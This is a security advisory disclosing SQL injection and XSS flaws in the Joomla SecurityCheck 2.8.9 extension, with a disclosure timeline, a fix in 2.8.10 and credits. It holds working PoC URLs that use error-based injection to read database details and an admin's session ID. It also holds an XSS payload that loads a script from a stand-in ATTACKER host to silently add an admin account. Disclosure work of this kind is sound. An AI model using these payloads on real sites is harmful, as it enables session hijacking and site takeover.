Joomla SecurityCheck 2.8.9跨站/SQL注入漏洞

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Technical Details
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PoC URLs for SQL Injection

For determining database, user and version.

http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(database())))))='1
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(user())))))='1
http://website/index.php?option='or(ExtractValue(1,concat(0x3a,(select(version())))))='1

For steal admin's session ID (If admin is not online, page response with
attack detected string. If online, response with admin's session ID)

http://website/index.php?option='or(ExtractValue(rand(),concat(0x3a,(SELECT
concat(session_id) FROM %23__user_usergroup_map INNER JOIN %23__users ON
%23__user_usergroup_map.user_id=%23__users.id INNER JOIN %23__session ON %
23__users.id=%23__session.userid WHERE group_id=8 LIMIT 0,1))))='1
 
PoC URLs for XSS
 
Add a new admin to website silently while admin checking SecurityCheck logs
 
http://website/index.php?option=<script>var script =
document.createElement('script');script.src = "http://ATTACKER/attack.js
";document.getElementsByTagName('head')[0].appendChild(script);</script>
 
attack.js
[url]https://gist.github.com/MuhammetDilmac/c680cc921143543561bfdfd7b25da1ca[/url]
 
 
Disclosure Timeline
------------------------------
24/05/2016 SQL injection found
30/05/2016 Worked on one-shot exploit for SQLi
30/05/2016 While we were working on SQLi payload we also found XSS
31/05/2016 XSS payload prepared
31/05/2016 Vulnerability details and PoC sent to Protegetuordenador
31/05/2016 Vulnerabilities fixed in v2.8.10
 
Solution
------------------------------
Update to the latest version of SecurityCheck (2.8.10)
 
Credits
------------------------------
These issues have been discovered by Gokmen Guresci (gokmenguresci.com) and
Muhammet Dilmac (muhammetdilmac.com.tr).

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